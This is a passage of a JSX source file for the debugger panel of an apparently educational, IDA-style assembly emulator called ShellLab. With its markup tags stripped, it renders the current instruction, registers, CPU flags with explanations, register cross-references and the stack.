{/* Current instruction detail bar (IDA bottom bar style) */}
{currentInstr && !dbgCpu?.halted ? (<>
ADDR:
{(CODE_BASE + dbgCpu.pc * 4).toString(16).padStart(8, "0")}
OP:
{currentInstr.op}
{currentInstr.operands?.join(", ")}
{dbgShowBytes && (
ENC:
{estimateOpcodeBytes(currentInstr, arch)}
)}
{(() => {
const cats = Object.values(a.instructions || {});
for (const cat of cats) {
for (const ins of cat) {
if (ins.op.split("/")[0] === currentInstr.op || ins.op.includes(currentInstr.op)) {
return — {ins.desc};
}
}
}
return null;
})()}
>) : (
{dbgCpu?.halted ? "Program halted" : "Load and step to begin"}
)}
{/* ── RIGHT: Registers + Flags + Stack + Xrefs ── */}
{/* Registers */}
REGISTERS
hover for xrefs
{archRegs.map(r => {
const val = dbgCpu?.regs?.[r] ?? 0;
const changed = changedRegs[r];
const isSpecial = Object.values(a.special).some(s => s.includes(r));
const isHovered = dbgHoverReg === r;
return (
dbgShowXrefs && setDbgHoverReg(r)}
onMouseLeave={() => setDbgHoverReg(null)}
style={{
display: "grid", gridTemplateColumns: "44px 1fr 50px", alignItems: "center", gap: 4,
padding: "3px 6px", borderRadius: 3,
background: isHovered ? "#ffd86612" : changed ? a.color + "10" : "transparent",
border: isHovered ? "1px solid #ffd86633" : changed ? `1px solid ${a.color}25` : "1px solid transparent",
cursor: dbgShowXrefs ? "pointer" : "default",
transition: "all 0.15s",
}}>
{r.toUpperCase()}
{fmtHex(val, a.bits)}
{/* Decimal value for small numbers */}
{val <= 0xFFFF && val > 0 ? `(${val})` : ""}
);
})}
{/* Flags (enhanced with change indicators + bit explanation) */}
FLAGS (EFLAGS/RFLAGS)
{Object.entries(dbgCpu?.flags || { ZF: 0, CF: 0, SF: 0, OF: 0 }).map(([flag, val]) => {
const changed = changedFlags[flag];
const flagDesc = { ZF: "Zero — result was 0", CF: "Carry — unsigned overflow", SF: "Sign — result is negative", OF: "Overflow — signed overflow" };
return (
{flag}={val}
{changed && ★}
{flagDesc[flag]}
);
})}
{/* Cross-references panel (IDA Xrefs window) */}
{dbgShowXrefs && dbgHoverReg && (
XREFS — {dbgHoverReg.toUpperCase()}
{dbgXrefs.writes.length > 0 && (
◄ WRITES ({dbgXrefs.writes.length}):
{dbgXrefs.writes.slice(0, 6).map(idx => {
const instr = dbgInstrs[idx];
return instr ? (
{(CODE_BASE + idx * 4).toString(16).padStart(8,"0")}: {instr.op} {instr.operands?.join(", ")}
) : null;
})}
)}
{dbgXrefs.reads.length > 0 && (
► READS ({dbgXrefs.reads.length}):
{dbgXrefs.reads.slice(0, 6).map(idx => {
const instr = dbgInstrs[idx];
return instr ? (
{(CODE_BASE + idx * 4).toString(16).padStart(8,"0")}: {instr.op} {instr.operands?.join(", ")}
) : null;
})}
)}
{dbgXrefs.writes.length === 0 && dbgXrefs.reads.length === 0 && (
No references found
)}
)}
{/* Stack */}
STACK ({dbgCpu?.stack?.length || 0})
{(!dbgCpu?.stack?.length) && (
Empty
)}
{dbgCpu?.stack?.map((entry, i) => (
{fmtHex(entry.addr, a.bits)}
{fmtHex(entry.value, a.bits)}
))}
);
})()}
{/* ═══ FOOTER ═══ */}
);
}
window.ShellLab = function ShellLab() {
return (
);
}